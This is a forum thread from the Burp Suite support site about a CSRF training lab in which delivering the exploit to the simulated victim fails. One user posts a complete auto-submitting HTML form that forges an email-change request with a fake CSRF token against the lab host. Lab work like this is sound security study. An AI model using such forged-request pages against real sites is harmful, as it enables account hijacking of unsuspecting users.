Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CSRF where token validation depends on request method

Huseyin | Last updated: Aug 06, 2024 08:31PM UTC

After I paste the CSRF exploit into Body part, I am clicking on the "Store" button firstly. When I click on the "View exploit" button, it changes the user email address. So the exploit works truely. But if I click the "Deliver exploit to victim" button, it does not work as it is supposed to be. As a result, I cannot complete the lab.

Dominyque, PortSwigger Agent | Last updated: Aug 07, 2024 06:54AM UTC

Hi Huseyin Which browser are you completing this lab in? Please note that we are experiencing some issues with a few of the labs in the embedded browser. We recommend using normal Chrome to complete the labs. If you are still struggling, can you please send us the exploit you are using?

uMan | Last updated: Oct 17, 2024 12:53PM UTC

I have the same problem, I already did it in chrome and nothing. This is the exploit that I am using: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0ae10042034a1cec806fea7400ee00a7.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="hacka&#64;a&#46;com" /> <input type="hidden" name="csrf" value="12345" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Oct 17, 2024 01:07PM UTC